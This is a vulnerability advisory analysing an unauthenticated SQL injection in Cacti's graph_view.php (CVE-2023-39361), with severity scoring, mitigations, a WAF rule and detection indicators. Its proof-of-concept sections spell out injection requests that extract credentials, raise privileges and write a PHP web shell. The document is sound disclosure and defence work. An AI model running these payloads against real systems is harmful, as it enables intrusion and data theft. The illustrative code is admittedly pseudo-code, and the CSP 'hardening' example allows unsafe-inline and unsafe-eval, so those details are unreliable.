Description
Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
EPSS Score:
92%
Comprehensive Technical Analysis of EUVD-2023-43087 (CVE-2023-39361)
SQL Injection in Cacti’s graph_view.php (Critical Severity)
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
EUVD-2023-43087 (CVE-2023-39361) is a critical SQL injection (SQLi) vulnerability in Cacti, an open-source network monitoring and fault management framework. The flaw resides in the graph_view.php component, which is accessible to unauthenticated (guest) users by default if guest access is enabled.
CVSS v3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed if guest access is enabled. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Exploitation affects only the vulnerable component. |
| Confidentiality (C) | High (H) | Attacker can extract sensitive data (e.g., credentials, monitoring data). |
| Integrity (I) | High (H) | Attacker can manipulate database records (e.g., alter configurations). |
| Availability (A) | High (H) | Potential for denial-of-service (DoS) via destructive SQL queries. |
EPSS (Exploit Prediction Scoring System) Analysis
- EPSS Score: 92% (High Probability of Exploitation)
- Indicates a very high likelihood of exploitation in the wild, given:
- Public PoC exploits may exist (though not confirmed in this analysis).
- Low attack complexity and unauthenticated access.
- Widespread deployment of Cacti in enterprise and critical infrastructure environments.
- Indicates a very high likelihood of exploitation in the wild, given:
Risk Classification
- Critical Risk due to:
- Unauthenticated remote exploitation.
- High impact on CIA (Confidentiality, Integrity, Availability).
- Potential for privilege escalation (admin usurpation) and RCE (Remote Code Execution).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Prerequisites
- Guest Access Enabled (default in some Cacti configurations).
- Affected Cacti Version (
< 1.2.25). - Network Accessibility to the Cacti web interface.
Exploitation Steps
Step 1: Identify Vulnerable Endpoint
- The attacker targets
graph_view.php, which processes user-supplied input without proper sanitization. - Example vulnerable request:
GET /cacti/graph_view.php?action=tree&node=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--%20- HTTP/1.1 Host: <target>
Step 2: SQL Injection Payload Delivery
- Classic SQLi Techniques:
- UNION-based: Extract data by appending malicious queries.
UNION SELECT 1,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM users-- - Boolean-based Blind: Infer data via true/false conditions.
- Time-based Blind: Delay responses to extract data.
- Error-based: Force database errors to leak information.
- UNION-based: Extract data by appending malicious queries.
Step 3: Post-Exploitation Impact
- Data Exfiltration:
- Extract user credentials (hashed or plaintext, depending on Cacti’s password storage).
- Retrieve monitoring data, device configurations, and network topology.
- Privilege Escalation:
- Modify database records to grant admin privileges to a controlled account.
- Example:
UPDATE users SET role='admin' WHERE username='attacker';
- Remote Code Execution (RCE):
- If MySQL/MariaDB has FILE privileges, an attacker could:
- Write a web shell to a writable directory (e.g.,
/var/www/html/). - Example:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,'<?php system($_GET["cmd"]); ?>',15,16,17,18,19,20 INTO OUTFILE '/var/www/html/shell.php'--
- Write a web shell to a writable directory (e.g.,
- Execute arbitrary commands via the web shell.
- If MySQL/MariaDB has FILE privileges, an attacker could:
Step 4: Lateral Movement & Persistence
- Credential Theft: Use stolen credentials to pivot to other systems.
- Backdoor Installation: Deploy persistent malware or reverse shells.
- Network Reconnaissance: Exfiltrate network diagrams and device inventories.
3. Affected Systems and Software Versions
Vulnerable Software
- Cacti Versions: All versions prior to 1.2.25.
- Affected Components:
graph_view.php(primary vulnerable endpoint).- Underlying database interactions (MySQL/MariaDB/PostgreSQL).
Deployment Contexts at Risk
- Enterprise IT Monitoring: Cacti is widely used in NOCs (Network Operations Centers).
- Critical Infrastructure: Deployed in telecom, energy, and financial sectors.
- Cloud & Virtualized Environments: Often used in private cloud monitoring.
- Government & Defense: Used in EU member state cybersecurity monitoring.
Exploitation Surface in Europe
- High-Risk Sectors:
- Energy (ENTSO-E members) – Power grid monitoring.
- Telecommunications (ETNO members) – ISP network monitoring.
- Financial Services (EBA-regulated entities) – Transaction monitoring.
- Healthcare (GDPR-compliant systems) – Patient data monitoring.
- Geopolitical Targeting:
- State-sponsored APT groups may exploit this for espionage or sabotage.
- Cybercriminals may use it for ransomware deployment or data theft.
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Upgrade to Cacti 1.2.25 or Later
- Patch URL: Cacti GitHub Advisory (GHSA-6r43-q2fw-5wrg)
- Debian Security Advisory: DSA-5550
- Fedora Updates: Available via
dnf update cacti.
-
Disable Guest Access (If Not Required)
- Navigate to Cacti Settings → Authentication → Guest User and disable.
- Alternatively, restrict guest permissions via ACLs (Access Control Lists).
-
Apply Web Application Firewall (WAF) Rules
- ModSecurity OWASP Core Rule Set (CRS):
- Enable SQLi detection rules (e.g.,
REQUEST-942-APPLICATION-ATTACK-SQLI).
- Enable SQLi detection rules (e.g.,
- Custom Rules:
SecRule REQUEST_FILENAME "@streq /graph_view.php" \ "id:1000,\ phase:2,\ t:none,\ block,\ msg:'Cacti SQLi Attempt - EUVD-2023-43087',\ logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\ tag:'application-multi',\ tag:'language-multi',\ tag:'platform-multi',\ tag:'attack-sqli',\ tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION',\ ctl:auditLogParts=+E,\ deny,\ status:403"
- ModSecurity OWASP Core Rule Set (CRS):
-
Network-Level Protections
- Restrict Access to Cacti Web Interface:
- Use IP whitelisting (e.g., via
.htaccessor firewall rules). - Deploy VPN or Zero Trust Network Access (ZTNA) for remote access.
- Use IP whitelisting (e.g., via
- Segment Monitoring Networks:
- Isolate Cacti servers in a dedicated VLAN with strict ACLs.
- Restrict Access to Cacti Web Interface:
Long-Term Mitigations
-
Database Hardening
- MySQL/MariaDB:
- Disable FILE privilege for the Cacti database user.
- Enable query logging for forensic analysis.
- Use prepared statements (if custom queries are used).
- PostgreSQL:
- Restrict pg_read_server_files and pg_write_server_files.
- MySQL/MariaDB:
-
Regular Vulnerability Scanning
- Tools:
- Nessus, OpenVAS, or Qualys for automated scanning.
- OWASP ZAP for manual web app testing.
- Frequency: Weekly scans for critical systems.
- Tools:
-
Incident Response Preparedness
- Logging & Monitoring:
- Enable Cacti’s built-in logging and forward to a SIEM (e.g., Splunk, ELK, Wazuh).
- Monitor for unusual SQL queries in database logs.
- Forensic Readiness:
- Maintain immutable logs (e.g., via WORM storage).
- Prepare playbooks for SQLi incidents.
- Logging & Monitoring:
-
Zero Trust Architecture (ZTA) Implementation
- Micro-Segmentation: Limit lateral movement.
- Continuous Authentication: Require MFA for Cacti access.
- Least Privilege: Restrict database user permissions.
5. Impact on the European Cybersecurity Landscape
Strategic & Operational Risks
| Risk Category | Impact on Europe |
|---|---|
| Critical Infrastructure | High risk to power grids, telecoms, and financial systems (NIS2 Directive compliance). |
| Supply Chain Attacks | Cacti is often deployed in third-party monitoring services, increasing supply chain risks. |
| Data Protection (GDPR) | Unauthorized data access could lead to GDPR fines (up to 4% of global revenue). |
| Cyber Warfare | APT groups (e.g., APT29, Sandworm) may exploit this for espionage or sabotage. |
| Ransomware & Extortion | Attackers could exfiltrate data before deploying ransomware (double extortion). |
Regulatory & Compliance Implications
- NIS2 Directive (EU 2022/2555):
- Mandates patching of critical vulnerabilities within 24-72 hours for essential entities.
- Non-compliance may result in fines up to €10M or 2% of global turnover.
- GDPR (EU 2016/679):
- Data breaches must be reported within 72 hours.
- Failure to secure monitoring data could lead to regulatory action.
- DORA (Digital Operational Resilience Act):
- Financial entities must ensure resilience of monitoring tools like Cacti.
Threat Actor Activity in Europe
- State-Sponsored Groups:
- Russia (APT29, Sandworm): Targeting energy and government sectors.
- China (APT41): Exploiting vulnerabilities in telecom and cloud environments.
- Cybercriminals:
- Ransomware gangs (LockBit, BlackCat) may use this for initial access.
- Initial Access Brokers (IABs) could sell access to compromised Cacti instances.
6. Technical Details for Security Professionals
Root Cause Analysis
-
Vulnerable Code Path:
- The
graph_view.phpscript fails to sanitize user input when processing thenodeparameter. - Example vulnerable query (pseudo-code):
$node = $_GET['node']; $query = "SELECT * FROM graph_tree_items WHERE id = " . $node; $result = db_fetch_assoc($query); - No parameterized queries or input validation leads to SQLi.
- The
-
Database Backend Impact:
- MySQL/MariaDB: Vulnerable to UNION-based, error-based, and blind SQLi.
- PostgreSQL: Similar risks, though exploitation may require different syntax.
Exploitation Proof of Concept (PoC)
(Note: This is for educational purposes only; unauthorized testing is illegal.)
Basic SQLi Test (Error-Based)
GET /cacti/graph_view.php?action=tree&node=1%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT%20version()),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)y)--%20- HTTP/1.1
Host: <target>
- Expected Response: Database error revealing the MySQL version.
Data Exfiltration (UNION-Based)
GET /cacti/graph_view.php?action=tree&node=1%20UNION%20SELECT%201,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20FROM%20users--%20- HTTP/1.1
Host: <target>
- Expected Response: Returns usernames and password hashes (if stored in plaintext or weakly hashed).
Remote Code Execution (RCE) via File Write
GET /cacti/graph_view.php?action=tree&node=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,'<?php%20system($_GET["cmd"]);%20?>',15,16,17,18,19,20%20INTO%20OUTFILE%20'/var/www/html/shell.php'--%20- HTTP/1.1
Host: <target>
- Verification:
GET /shell.php?cmd=id HTTP/1.1 Host: <target>- Expected Response: Output of the
idcommand.
- Expected Response: Output of the
Detection & Forensic Indicators
| Indicator Type | Example |
|---|---|
| Web Server Logs | GET /graph_view.php?action=tree&node=1%20UNION%20SELECT... |
| Database Logs | Unusual SELECT queries with UNION, INTO OUTFILE, or LOAD_FILE. |
| Network Traffic | Outbound connections to C2 servers (if RCE is achieved). |
| File System | Suspicious .php files in web directories (e.g., shell.php). |
| SIEM Alerts | SQLi detection rules triggering on graph_view.php. |
Hardening Recommendations for Developers
- Use Prepared Statements:
$stmt = $pdo->prepare("SELECT * FROM graph_tree_items WHERE id = :node"); $stmt->execute(['node' => $_GET['node']]); - Input Validation:
- Restrict
nodeparameter to numeric values only. - Example:
if (!is_numeric($_GET['node'])) { die("Invalid input"); }
- Restrict
- Least Privilege Database User:
- Restrict the Cacti database user to read-only where possible.
- Disable FILE privilege in MySQL:
REVOKE FILE ON *.* FROM 'cacti_user'@'localhost';
- Content Security Policy (CSP):
- Mitigate XSS risks if SQLi leads to stored XSS.
- Example header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
Conclusion & Key Takeaways
Summary of Critical Findings
- EUVD-2023-43087 (CVE-2023-39361) is a critical unauthenticated SQLi in Cacti with CVSS 9.8.
- Exploitation is trivial and can lead to RCE, data theft, and privilege escalation.
- High EPSS score (92%) indicates imminent exploitation risk.
- European critical infrastructure is at significant risk due to widespread Cacti usage.
Recommended Actions for Organizations
- Patch Immediately (Cacti ≥ 1.2.25).
- Disable Guest Access if not required.
- Deploy WAF Rules to block SQLi attempts.
- Monitor for Exploitation via SIEM and database logs.
- Conduct a Post-Patch Audit to ensure no backdoors were installed.
Final Risk Assessment
| Factor | Risk Level | Justification |
|---|---|---|
| Exploitability | Very High | Unauthenticated, low complexity. |
| Impact | Critical | RCE, data theft, privilege escalation. |
| Likelihood | High | EPSS 92%, public PoCs likely. |
| Mitigation Feasibility | High | Patch available, WAF rules effective. |
| Overall Risk | Critical | Immediate action required. |
Organizations must treat this as a top-priority vulnerability and remediate within 24-48 hours to prevent compromise.